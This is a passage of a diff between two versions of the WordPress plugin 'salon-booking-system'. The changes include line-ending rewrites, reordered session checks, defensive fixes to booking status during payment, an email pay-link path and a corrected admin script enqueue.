*\u002F\n+            $this->resources = $this->getPlugin()->getRepository(SLN_Plugin::POST_TYPE_RESOURCE)->getAllEnabled();\n+            $this->resources = apply_filters('sln.shortcode.salon.ResourceStep.getResources', $this->resources);\n+        }\n+\n+        return $this->resources;\n+    }\n+\n+    public function isValid()\n+    {\n+        $tmp = $this->getResources();\n+        if( ! $this->getPlugin()->getSettings()->isResourcesEnabled() || empty($tmp) ) {\n+            return true;\n+        }\n+        return (!empty($tmp)) && parent::isValid();\n+    }\n+\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,105 +1,105 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-class SLN_Shortcode_Salon_SecondaryStep extends SLN_Shortcode_Salon_Step\r\n-{\r\n-\r\n-    protected function dispatchForm()\r\n-    {\r\n-        $bb     = $this->getPlugin()->getBookingBuilder();\r\n-        $values = isset($_POST['sln']) && isset($_POST['sln']['services']) && is_array($_POST['sln']['services'])  ? $_POST['sln']['services'] : array();\r\n-        $countService = isset($_REQUEST['sln']) && isset($_REQUEST['sln']['service_count']) && is_array($_REQUEST['sln']['service_count'])  ? $_REQUEST['sln']['service_count'] : array();\r\n-        foreach ($this->getServices() as $service) {\r\n-            if (isset($values) && isset($values[$service->getId()])) {\r\n-                $bb->addService($service);\r\n-            } else {\r\n-                $bb->removeService($service);\r\n-            }\r\n-            if (isset($countService) && isset($countService[$service->getId()])) {\r\n-                $bb->addCountService($service->getId(), $countService[$service->getId()]);\r\n-            } else {\r\n-                $bb->removeCountService($service->getId());\r\n-            }\r\n-        }\r\n-\r\n-        $bb->save();\r\n-        if(isset($_GET['sln'])) {\r\n-            return false;\r\n-        } elseif( SLN_Plugin::getInstance()->getSettings()->get( 'is_secondary_services_selection_required' ) ){\r\n-            $secondaryCount = SLN_Plugin::getInstance()->getSettings()->get( 'secondary_services_count' );\r\n-            if( count( $values ) != $secondaryCount ){\r\n-                $this->addError( esc_html(__('You need to choose ', 'salon-booking-system'). sprintf(\r\n-\t                \u002F\u002F translators: %s the name of the secondary count\r\n-\t\t\t\t\t_n('%d service', '%d services', $secondaryCount, 'salon-booking-system' ), $secondaryCount ) ) );\r\n-                return false;\r\n-            }\r\n-        }\r\n-\r\n-\tif ( ! $this->validateMinimumOrderAmount() ) {\r\n-\t    return false;\r\n-\t}\r\n-\r\n-        return true;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Wrapper_Service[]\r\n-     *\u002F\r\n-    public function getServices()\r\n-    {\r\n-        if ( ! isset($this->services)) {\r\n-            \u002F** @var SLN_Repository_ServiceRepository $repo *\u002F\r\n-            $repo     = $this->getPlugin()->getRepository(SLN_Plugin::POST_TYPE_SERVICE);\r\n-            $services = $repo->getAllSecondary();\r\n-\r\n-            $bb = $this->getPlugin()->getBookingBuilder();\r\n-            $ah = $this->getPlugin()->getAvailabilityHelper();\r\n-            $ah->setDate($bb->getDateTime());\r\n-            $bookingServices = $bb->getBookingServices();\r\n-            foreach ($services as $k => $service) {\r\n-                $errs = $ah->validateServiceFromOrder($service, $bookingServices);\r\n-                if ( ! empty($errs)) {\r\n-                    unset($services[$k]);\r\n-                }\r\n-            }\r\n-\r\n-\t    $services = array_filter($services, function ($service) {\r\n-\t\treturn !$service->isHideOnFrontend();\r\n-\t    });\r\n-\r\n-\t    $this->services = $repo->sortByExecAndTitleDESC($services);\r\n-            $this->services = apply_filters('sln.shortcode.salon.SecondaryStep.getServices', $this->services);\r\n-        }\r\n-\r\n-        return $this->services;\r\n-    }\r\n-\r\n-    public function getTotal()\r\n-    {\r\n-\r\n-    }\r\n-\r\n-    public function isValid()\r\n-    {\r\n-        $tmp = $this->getServices();\r\n-\r\n-        if (!empty($tmp)) {\r\n-            return parent::isValid();\r\n-        }\r\n-        else {\r\n-            parent::isValid();\r\n-            return true;\r\n-        }\r\n-    }\r\n-\r\n-    public function getTitleKey(){\r\n-        return 'Something more?';\r\n-    }\r\n-\r\n-    public function getTitleLabel(){\r\n-        return __('Something more?', 'salon-booking-system');\r\n-    }\r\n-\r\n-    public function isNeedTotal(){\r\n-        return $this->getPlugin()->getSettings()->get('hide_prices') != '1';\r\n-    }\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+class SLN_Shortcode_Salon_SecondaryStep extends SLN_Shortcode_Salon_Step\n+{\n+\n+    protected function dispatchForm()\n+    {\n+        $bb     = $this->getPlugin()->getBookingBuilder();\n+        $values = isset($_POST['sln']) && isset($_POST['sln']['services']) && is_array($_POST['sln']['services'])  ? $_POST['sln']['services'] : array();\n+        $countService = isset($_REQUEST['sln']) && isset($_REQUEST['sln']['service_count']) && is_array($_REQUEST['sln']['service_count'])  ? $_REQUEST['sln']['service_count'] : array();\n+        foreach ($this->getServices() as $service) {\n+            if (isset($values) && isset($values[$service->getId()])) {\n+                $bb->addService($service);\n+            } else {\n+                $bb->removeService($service);\n+            }\n+            if (isset($countService) && isset($countService[$service->getId()])) {\n+                $bb->addCountService($service->getId(), $countService[$service->getId()]);\n+            } else {\n+                $bb->removeCountService($service->getId());\n+            }\n+        }\n+\n+        $bb->save();\n+        if(isset($_GET['sln'])) {\n+            return false;\n+        } elseif( SLN_Plugin::getInstance()->getSettings()->get( 'is_secondary_services_selection_required' ) ){\n+            $secondaryCount = SLN_Plugin::getInstance()->getSettings()->get( 'secondary_services_count' );\n+            if( count( $values ) != $secondaryCount ){\n+                $this->addError( esc_html(__('You need to choose ', 'salon-booking-system'). sprintf(\n+\t                \u002F\u002F translators: %s the name of the secondary count\n+\t\t\t\t\t_n('%d service', '%d services', $secondaryCount, 'salon-booking-system' ), $secondaryCount ) ) );\n+                return false;\n+            }\n+        }\n+\n+\tif ( ! $this->validateMinimumOrderAmount() ) {\n+\t    return false;\n+\t}\n+\n+        return true;\n+    }\n+\n+    \u002F**\n+     * @return SLN_Wrapper_Service[]\n+     *\u002F\n+    public function getServices()\n+    {\n+        if ( ! isset($this->services)) {\n+            \u002F** @var SLN_Repository_ServiceRepository $repo *\u002F\n+            $repo     = $this->getPlugin()->getRepository(SLN_Plugin::POST_TYPE_SERVICE);\n+            $services = $repo->getAllSecondary();\n+\n+            $bb = $this->getPlugin()->getBookingBuilder();\n+            $ah = $this->getPlugin()->getAvailabilityHelper();\n+            $ah->setDate($bb->getDateTime());\n+            $bookingServices = $bb->getBookingServices();\n+            foreach ($services as $k => $service) {\n+                $errs = $ah->validateServiceFromOrder($service, $bookingServices);\n+                if ( ! empty($errs)) {\n+                    unset($services[$k]);\n+                }\n+            }\n+\n+\t    $services = array_filter($services, function ($service) {\n+\t\treturn !$service->isHideOnFrontend();\n+\t    });\n+\n+\t    $this->services = $repo->sortByExecAndTitleDESC($services);\n+            $this->services = apply_filters('sln.shortcode.salon.SecondaryStep.getServices', $this->services);\n+        }\n+\n+        return $this->services;\n+    }\n+\n+    public function getTotal()\n+    {\n+\n+    }\n+\n+    public function isValid()\n+    {\n+        $tmp = $this->getServices();\n+\n+        if (!empty($tmp)) {\n+            return parent::isValid();\n+        }\n+        else {\n+            parent::isValid();\n+            return true;\n+        }\n+    }\n+\n+    public function getTitleKey(){\n+        return 'Something more?';\n+    }\n+\n+    public function getTitleLabel(){\n+        return __('Something more?', 'salon-booking-system');\n+    }\n+\n+    public function isNeedTotal(){\n+        return $this->getPlugin()->getSettings()->get('hide_prices') != '1';\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -286,26 +286,29 @@\n     {\n         $warnings = array();\n \n-        \u002F\u002F Check if PHP sessions are working\n+        \u002F\u002F Ensure BookingBuilder runs first: its constructor calls session_start() when needed.\n+        \u002F\u002F Previously we tested session_status() before this, which falsely warned on many sites\n+        \u002F\u002F because nothing had started the session yet in this code path (salon.php init may not\n+        \u002F\u002F have run in edge contexts, or ordering differed). Real failures still surface below.\n+        $bb = $this->getPlugin()->getBookingBuilder();\n+\n         if (session_status() !== PHP_SESSION_ACTIVE) {\n             $warnings[] = __('PHP sessions are not active. The booking process requires sessions to work properly.', 'salon-booking-system');\n-        }\n-\n-        \u002F\u002F Test if session data can be stored and retrieved\n-        $testKey = '_sln_session_test_' . time();\n-        $testValue = 'test_' . rand(1000, 9999);\n-        $_SESSION[$testKey] = $testValue;\n-        \n-        if (!isset($_SESSION[$testKey]) || $_SESSION[$testKey] !== $testValue) {\n-            $warnings[] = __('Session data cannot be stored. Please enable cookies and sessions in your browser.', 'salon-booking-system');\n         } else {\n-            \u002F\u002F Clean up test session\n-            unset($_SESSION[$testKey]);\n+            \u002F\u002F Only test persistence when a session is actually active (avoids duplicate\u002Fnoise warnings)\n+            $testKey   = '_sln_session_test_' . time();\n+            $testValue = 'test_' . wp_rand(1000, 9999);\n+            $_SESSION[ $testKey ] = $testValue;\n+\n+            if ( ! isset( $_SESSION[ $testKey ] ) || $_SESSION[ $testKey ] !== $testValue ) {\n+                $warnings[] = __( 'Session data cannot be stored. Please enable cookies and sessions in your browser.', 'salon-booking-system' );\n+            } else {\n+                unset( $_SESSION[ $testKey ] );\n+            }\n         }\n \n         \u002F\u002F Check if booking builder session data exists (for subsequent visits)\n         \u002F\u002F If user has been through steps before, session should have data\n-        $bb = $this->getPlugin()->getBookingBuilder();\n         $sessionData = $bb->get('services');\n         \n         \u002F\u002F Only warn about cookies on the very first load (no session data yet)\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -13,11 +13,11 @@\n         SLN_Plugin::addLog('Mode: ' . (isset($_GET['mode']) ? $_GET['mode'] : 'NONE'));\n         SLN_Plugin::addLog('Booking ID in URL: ' . (isset($_GET['sln_booking_id']) ? $_GET['sln_booking_id'] : 'NONE'));\n         \n-        \u002F\u002F Session validation\n+        \u002F\u002F Do not block finalization on session_status() alone. Booking state is persisted in\n+        \u002F\u002F session and\u002For transients (client_id); rejecting here caused false \"expired\" flows and\n+        \u002F\u002F empty builder → redirect back to services with no booking created.\n         if (session_status() !== PHP_SESSION_ACTIVE) {\n-            SLN_Plugin::addLog(\"ERROR: Session not active in SummaryStep::dispatchForm\");\n-            $this->addError(__('Your session has expired. Please start the booking process again.', 'salon-booking-system'));\n-            return false;\n+            SLN_Plugin::addLog('WARNING: Session not active in SummaryStep::dispatchForm — continuing (transient\u002Fclient_id may still hold state)');\n         }\n \n         \u002F\u002F Bot protection: reCAPTCHA verification\n@@ -191,7 +191,24 @@\n                     SLN_Plugin::addLog('[SummaryStep] Status set to CONFIRMED (fallback)');\n                 }\n             }\n+            \u002F\u002F Capture the status we just assigned so we can detect — and revert —\n+            \u002F\u002F any unintended override by setPrepaidServices().\n+            $statusBeforePrepaid = $bb->getStatus();\n             $bb->setPrepaidServices();\n+\n+            \u002F\u002F DEFENSIVE: For zero-amount bookings the guard inside setPrepaidServices()\n+            \u002F\u002F should prevent it from changing CONFIRMED\u002FPENDING to PAID, but we add an\n+            \u002F\u002F explicit check here so a future refactor cannot silently re-introduce the bug.\n+            if ($bb->getAmount() \u003C= 0.0 && $bb->getStatus() !== $statusBeforePrepaid) {\n+                SLN_Plugin::addLog(sprintf(\n+                    '[SummaryStep] WARNING: setPrepaidServices() changed status from %s to %s on zero-amount booking #%d — reverting.',\n+                    $statusBeforePrepaid,\n+                    $bb->getStatus(),\n+                    $bb->getId()\n+                ));\n+                $bb->setStatus($statusBeforePrepaid);\n+            }\n+\n             $bookingBuilder->clear($bb->getId());\n             $this->cleanupBookingLock($bb);\n             return !$this->hasErrors();\n@@ -255,6 +272,21 @@\n                 SLN_Plugin::addLog('[SummaryStep] Payment gateway returned error: ' . $error);\n             }\n \n+            \u002F\u002F DEFENSIVE: Reload $bb from the database after the payment handler returns.\n+            \u002F\u002F IPN handlers (and some other payment methods) update the booking status through\n+            \u002F\u002F a freshly-created booking object, leaving $bb with a stale post_status.\n+            \u002F\u002F Without this reload, the DRAFT check below would incorrectly call\n+            \u002F\u002F setStatus(getCreateStatus() = DRAFT) and overwrite a freshly-PAID booking.\n+            if ($bb && $bb->getId()) {\n+                clean_post_cache($bb->getId());\n+                $bb->reload();\n+                SLN_Plugin::addLog(sprintf(\n+                    '[SummaryStep] Reloaded booking #%d after dispatchThankyou — status is now: %s',\n+                    $bb->getId(),\n+                    $bb->getStatus()\n+                ));\n+            }\n+\n             \u002F\u002F Re-check availability AFTER payment has been processed.\n             \u002F\u002F The slot could have become unavailable (another booking, settings change) during\n             \u002F\u002F the time the customer was on the external payment page. Because the payment has\n@@ -283,6 +315,24 @@\n             } catch (\\Exception $e) {\n                 SLN_Plugin::addLog('[SummaryStep] Post-payment availability check threw exception (booking proceeds normally): ' . $e->getMessage());\n             }\n+        } elseif (!empty($paymentMethod) && $bb->getAmount() > 0.0) {\n+            \u002F\u002F PENDING_PAYMENT \u002F PAY_LATER bookings arriving via email Pay link have no 'mode'\n+            \u002F\u002F because the link is a direct URL (not a form submission). Return false without\n+            \u002F\u002F an error so render() can display the summary + payment form.\n+            if (in_array($bb->getStatus(), array(\n+                SLN_Enum_BookingStatus::PENDING_PAYMENT,\n+                SLN_Enum_BookingStatus::PAY_LATER,\n+                SLN_Enum_BookingStatus::PENDING,\n+            ))) {\n+                SLN_Plugin::addLog('[SummaryStep] dispatchForm: ' . $bb->getStatus() . ' booking with no mode — deferring to render() to show payment form');\n+                return false;\n+            }\n+            \u002F\u002F For DRAFT bookings in the normal flow: user somehow submitted without clicking Pay.\n+            SLN_Plugin::addLog('[SummaryStep] dispatchForm: paid booking (amount > 0) with no matching handler — refusing to clear state');\n+            $this->addError(\n+                __('Please use the payment button to pay now, or Pay later if available. If the problem continues, refresh the page and try again.', 'salon-booking-system')\n+            );\n+            return false;\n         }\n         if(!$this->hasErrors()){\n             $bookingBuilder->clear($bb->getId());\n@@ -301,7 +351,35 @@\n     public function render()\n     {\n         $bb = $this->getPlugin()->getBookingBuilder();\n-        \n+\n+        \u002F\u002F EMAIL PAY LINK: When a customer arrives via the \"PAY\" button in a Payment Pending\n+        \u002F\u002F email, there is no active session (fresh browser visit). The booking ID is carried\n+        \u002F\u002F in the URL as sln_booking_id. Inject it into the builder so that getLastBooking()\n+        \u002F\u002F works for both this method and the summary view template.\n+        if (!$bb->get('services') && !$bb->getLastBooking() && isset($_GET['sln_booking_id'])) {\n+            $emailPayBookingId = intval(sanitize_text_field(wp_unslash($_GET['sln_booking_id'])));\n+            if ($emailPayBookingId) {\n+                try {\n+                    $emailPayBooking = $this->getPlugin()->createBooking($emailPayBookingId);\n+                    if ($emailPayBooking && in_array($emailPayBooking->getStatus(), array(\n+                        SLN_Enum_BookingStatus::PENDING_PAYMENT,\n+                        SLN_Enum_BookingStatus::PAY_LATER,\n+                        SLN_Enum_BookingStatus::PENDING,\n+                    ))) {\n+                        SLN_Plugin::addLog(sprintf(\n+                            '[SummaryStep] Email pay link: injecting booking #%d (status: %s) into builder',\n+                            $emailPayBookingId,\n+                            $emailPayBooking->getStatus()\n+                        ));\n+                        \u002F\u002F clear($id, false) sets lastId without wiping builder data\n+                        $bb->clear($emailPayBookingId, false);\n+                    }\n+                } catch (Exception $e) {\n+                    SLN_Plugin::addLog('[SummaryStep] Email pay link: failed to load booking #' . $emailPayBookingId . ': ' . $e->getMessage());\n+                }\n+            }\n+        }\n+\n         \u002F\u002F Debug: Log booking builder state\n         SLN_Plugin::addLog('SummaryStep::render() - Start');\n         SLN_Plugin::addLog('Has services: ' . ($bb->get('services') ? 'YES' : 'NO'));\n@@ -404,7 +482,15 @@\n             if(empty($bb->get('services'))){\n                 SLN_Plugin::addLog('SummaryStep::render() - ERROR: No services data, redirecting to services step');\n                 $this->addError(self::SERVICES_DATA_EMPTY);\n-                $this->redirect(add_query_arg(array('sln_step_page' => 'services')));\n+                \u002F\u002F Must pass explicit booking page URL: during DOING_AJAX, add_query_arg() alone uses\n+                \u002F\u002F REQUEST_URI (admin-ajax.php), which yields a broken URL and WordPress responds with \"0\".\n+                $payId       = $this->getPlugin()->getSettings()->getPayPageId();\n+                $servicesUrl = $payId ? get_permalink($payId) : home_url('\u002F');\n+                $requestArgs = $this->getSanitizedRequestArgs();\n+                if (isset($requestArgs['lang'])) {\n+                    $servicesUrl = add_query_arg('lang', $requestArgs['lang'], $servicesUrl);\n+                }\n+                $this->redirect(add_query_arg(array('sln_step_page' => 'services'), $servicesUrl));\n                 return parent::render(); \u002F\u002F Return content after redirect for AJAX\n             }else{\n                 SLN_Plugin::addLog('SummaryStep::render() - ERROR: Slot unavailable');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -17,20 +17,16 @@\n     add_action('saved_'.$taxonomyType, array($this, 'saved_taxonomy'), 10, 4);\n     add_action($taxonomyType.'_edit_form_fields', array($this, 'service_category_meta_fields_table'), 10, 2);\n     add_action('pre_delete_term', array($this, 'delete'), 10, 2);\n-    wp_register_script(\n-        'salon-customServiceCategory',\n-        SLN_PLUGIN_URL . '\u002Fjs\u002Fadmin\u002FcustomServiceCategory.js',\n-        array('jquery'),\n-        SLN_Action_InitScripts::ASSETS_VERSION,\n-        true\n-    );\n-    wp_enqueue_script(\n-        'salon-customServiceCategory',\n-        SLN_PLUGIN_URL . '\u002Fjs\u002Fadmin\u002FcustomServiceCategory.js',\n-        array('jquery'),\n-        SLN_Action_InitScripts::ASSETS_VERSION,\n-        true\n-    );\n+    add_action('admin_enqueue_scripts', function() {\n+        wp_register_script(\n+            'salon-customServiceCategory',\n+            SLN_PLUGIN_URL . '\u002Fjs\u002Fadmin\u002FcustomServiceCategory.js',\n+            array('jquery'),\n+            SLN_Action_InitScripts::ASSETS_VERSION,\n+            true\n+        );\n+        wp_enqueue_script('salon-customServiceCategory');\n+    });\n     }\n \n     protected function getTaxonomyTypeArgs()\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonStaff.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonStaff.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonStaff.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FUserRole\u002FSalonStaff.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,152 +1,152 @@\n-\u003C?php\r\n-\r\n-class SLN_UserRole_SalonStaff\r\n-{\r\n-    private $plugin;\r\n-\r\n-    private $role;\r\n-    private $displayName;\r\n-    private $capabilities = array(\r\n-        'manage_salon' => true,\r\n-        'manage_salon_settings' => false,\r\n-        'edit_posts' => true,\r\n-        'export_reservations_csv_sln_calendar' => true,\r\n-        'delete_permanently_sln_booking'       => false,\r\n-        'create_sln_bookings' => true,\r\n-        'create_sln_attendants' => true,\r\n-    );\r\n-\r\n-    public function __construct(SLN_Plugin $plugin, $role, $displayName)\r\n-    {\r\n-        $adminRole = get_role('administrator');\r\n-\r\n-\tif ($adminRole) {\r\n-\t    $adminRole->add_cap('manage_salon');\r\n-\t    $adminRole->add_cap('manage_salon_settings');\r\n-\t    $adminRole->add_cap('export_reservations_csv_sln_calendar');\r\n-\t    $adminRole->add_cap('delete_permanently_sln_booking');\r\n-        $adminRole->add_cap('create_sln_bookings');\r\n-        $adminRole->add_cap('create_sln_attendants');\r\n-        $adminRole->add_cap('create_sln_resources');\r\n-\t}\r\n-\r\n-        foreach (array(\r\n-                     SLN_Plugin::POST_TYPE_ATTENDANT,\r\n-                     SLN_Plugin::POST_TYPE_SERVICE,\r\n-                     SLN_Plugin::POST_TYPE_BOOKING,\r\n-                     SLB_Discount_Plugin::POST_TYPE_DISCOUNT,\r\n-                     SLN_Plugin::POST_TYPE_RESOURCE,\r\n-                 ) as $k) {\r\n-            $postTypeObj = get_post_type_object($k);\r\n-            if( !is_object($postTypeObj) ){\r\n-                continue;\r\n-            }\r\n-            foreach ($postTypeObj->cap as $v) {\r\n-                if (!isset($role->capabilities[$v]) && $adminRole) {\r\n-                    $adminRole->add_cap($v);\r\n-                }\r\n-                $this->capabilities[$v] = true;\r\n-            }\r\n-        }\r\n-        $this->plugin = $plugin;\r\n-        $this->role = $role;\r\n-        $this->displayName = $displayName;\r\n-\r\n-        $roles = wp_roles();\r\n-        if ($roles->get_role($this->role)) {\r\n-            $roles->remove_role($this->role);\r\n-        }\r\n-        $roles->add_role($this->role, $this->displayName, $this->capabilities);\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Plugin\r\n-     *\u002F\r\n-    protected function getPlugin()\r\n-    {\r\n-        return $this->plugin;\r\n-    }\r\n-\r\n-    public static function addCapabilitiesForRole($role) {\r\n-        self::changeCapabilitiesForRole($role, true);\r\n-    }\r\n-\r\n-    public static function removeCapabilitiesFoRole($role) {\r\n-        self::changeCapabilitiesForRole($role, false);\r\n-    }\r\n-\r\n-    private static function changeCapabilitiesForRole($role, $canManage) {\r\n-        $roleObj = get_role($role);\r\n-        if ($canManage) {\r\n-            $roleObj->add_cap('manage_salon');\r\n-\t    $roleObj->add_cap('manage_salon_settings');\r\n-\t    $roleObj->add_cap('export_reservations_csv_sln_calendar');\r\n-\t    $roleObj->add_cap('delete_permanently_sln_booking');\r\n-        } else {\r\n-            $roleObj->remove_cap('manage_salon');\r\n-            $roleObj->remove_cap('manage_salon_settings');\r\n-\t    $roleObj->remove_cap('export_reservations_csv_sln_calendar');\r\n-\t    $roleObj->remove_cap('delete_permanently_sln_booking');\r\n-        }\r\n-\r\n-        foreach (array(\r\n-            SLN_Plugin::POST_TYPE_ATTENDANT,\r\n-            SLN_Plugin::POST_TYPE_SERVICE,\r\n-            SLN_Plugin::POST_TYPE_BOOKING,\r\n-            SLN_Plugin::POST_TYPE_RESOURCE,\r\n-        ) as $k) {\r\n-            $postTypeObj = get_post_type_object($k);\r\n-            if (!is_object($postTypeObj)) {\r\n-                continue;\r\n-            }\r\n-            foreach ($postTypeObj->cap as $v) {\r\n-                if ($canManage) {\r\n-                    $roleObj->add_cap($v);\r\n-                }\r\n-                else {\r\n-                    if ($v !== 'read') {\r\n-                        $roleObj->remove_cap($v);\r\n-                    }\r\n-                }\r\n-            }\r\n-        }\r\n-    }\r\n-\r\n-    public static function addCapabilities(array $capabilities) {\r\n-\r\n-\t$role = get_role(SLN_Plugin::USER_ROLE_STAFF);\r\n-\r\n-\tforeach ($capabilities as $cap) {\r\n-\t\t$role->add_cap($cap, true);\r\n-\t}\r\n-    }\r\n-\r\n-    public static function removeCapabilities(array $capabilities) {\r\n-\r\n-\t$role = get_role(SLN_Plugin::USER_ROLE_STAFF);\r\n-\r\n-\tforeach ($capabilities as $cap) {\r\n-\t    $role->remove_cap($cap);\r\n-\t}\r\n-    }\r\n-\r\n-    public static function changeCapabilitiesByPostType($post_types, $canManage) {\r\n-        $roleObj = get_role(SLN_Plugin::USER_ROLE_STAFF);\r\n-        foreach ($post_types as $k) {\r\n-            $postTypeObj = get_post_type_object($k);\r\n-            if (!is_object($postTypeObj)) {\r\n-                continue;\r\n-            }\r\n-            foreach ($postTypeObj->cap as $v) {\r\n-                if ($canManage) {\r\n-                    $roleObj->add_cap($v);\r\n-                }\r\n-                else {\r\n-                    if ($v !== 'read') {\r\n-                        $roleObj->remove_cap($v);\r\n-                    }\r\n-                }\r\n-            }\r\n-        }\r\n-    }\r\n+\u003C?php\n+\n+class SLN_UserRole_SalonStaff\n+{\n+    private $plugin;\n+\n+    private $role;\n+    private $displayName;\n+    private $capabilities = array(\n+        'manage_salon' => true,\n+        'manage_salon_settings' => false,\n+        'edit_posts' => true,\n+        'export_reservations_csv_sln_calendar' => true,\n+        'delete_permanently_sln_booking'       => false,\n+        'create_sln_bookings' => true,\n+        'create_sln_attendants' => true,\n+    );\n+\n+    public function __construct(SLN_Plugin $plugin, $role, $displayName)\n+    {\n+        $adminRole = get_role('administrator');\n+\n+\tif ($adminRole) {\n+\t    $adminRole->add_cap('manage_salon');\n+\t    $adminRole->add_cap('manage_salon_settings');\n+\t    $adminRole->add_cap('export_reservations_csv_sln_calendar');\n+\t    $adminRole->add_cap('delete_permanently_sln_booking');\n+        $adminRole->add_cap('create_sln_bookings');\n+        $adminRole->add_cap('create_sln_attendants');\n+        $adminRole->add_cap('create_sln_resources');\n+\t}\n+\n+        foreach (array(\n+                     SLN_Plugin::POST_TYPE_ATTENDANT,\n+                     SLN_Plugin::POST_TYPE_SERVICE,\n+                     SLN_Plugin::POST_TYPE_BOOKING,\n+                     SLB_Discount_Plugin::POST_TYPE_DISCOUNT,\n+                     SLN_Plugin::POST_TYPE_RESOURCE,\n+                 ) as $k) {\n+            $postTypeObj = get_post_type_object($k);\n+            if( !is_object($postTypeObj) ){\n+                continue;\n+            }\n+            foreach ($postTypeObj->cap as $v) {\n+                if (!isset($role->capabilities[$v]) && $adminRole) {\n+                    $adminRole->add_cap($v);\n+                }\n+                $this->capabilities[$v] = true;\n+            }\n+        }\n+        $this->plugin = $plugin;\n+        $this->role = $role;\n+        $this->displayName = $displayName;\n+\n+        $roles = wp_roles();\n+        if ($roles->get_role($this->role)) {\n+            $roles->remove_role($this->role);\n+        }\n+        $roles->add_role($this->role, $this->displayName, $this->capabilities);\n+    }\n+\n+    \u002F**\n+     * @return SLN_Plugin\n+     *\u002F\n+    protected function getPlugin()\n+    {\n+        return $this->plugin;\n+    }\n+\n+    public static function addCapabilitiesForRole($role) {\n+        self::changeCapabilitiesForRole($role, true);\n+    }\n+\n+    public static function removeCapabilitiesFoRole($role) {\n+        self::changeCapabilitiesForRole($role, false);\n+    }\n+\n+    private static function 